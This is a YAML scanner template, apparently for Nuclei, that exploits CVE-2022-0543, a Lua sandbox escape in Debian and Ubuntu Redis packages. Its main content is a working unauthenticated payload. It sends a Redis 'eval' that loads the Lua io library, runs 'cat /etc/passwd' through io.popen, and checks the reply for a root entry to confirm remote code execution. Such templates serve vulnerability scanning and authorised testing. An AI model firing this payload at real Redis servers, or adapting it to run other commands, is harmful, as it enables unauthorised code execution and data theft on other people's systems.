32 lines
1.1 KiB
YAML
32 lines
1.1 KiB
YAML
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id: CVE-2022-0543
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info:
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name: Redis Sandbox Escape RCE
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author: dwisiswant0
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severity: critical
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reference:
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- https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce
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- https://attackerkb.com/topics/wyA1c1HIC8/cve-2022-0543/rapid7-analysis#rapid7-analysis
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description: |
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This template exploits CVE-2022-0543, a Lua-based Redis sandbox escape. The
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vulnerability was introduced by Debian and Ubuntu Redis packages that
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insufficiently sanitized the Lua environment. The maintainers failed to
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disable the package interface, allowing attackers to load arbitrary libraries.
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Taken from rapid7/metasploit-framework#16504.
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tags: network,redis,unauth,rce
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network:
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- inputs:
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- data: "eval 'local io_l = package.loadlib(\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\", \"luaopen_io\"); local io = io_l(); local f = io.popen(\"cat /etc/passwd\", \"r\"); local res = f:read(\"*a\"); f:close(); return res' 0\r\n"
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host:
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- "{{Hostname}}"
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- "{{Host}}:6379"
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read-size: 64
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matchers:
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- type: regex
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regex:
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- "root:.*:0:0:"
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